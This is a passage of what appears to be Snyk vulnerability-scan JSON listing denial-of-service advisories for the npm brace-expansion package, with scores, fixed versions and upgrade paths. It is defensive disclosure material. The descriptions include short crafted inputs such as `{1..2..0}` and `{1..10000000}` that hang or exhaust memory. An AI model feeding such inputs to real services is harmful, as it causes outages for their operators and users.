value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub 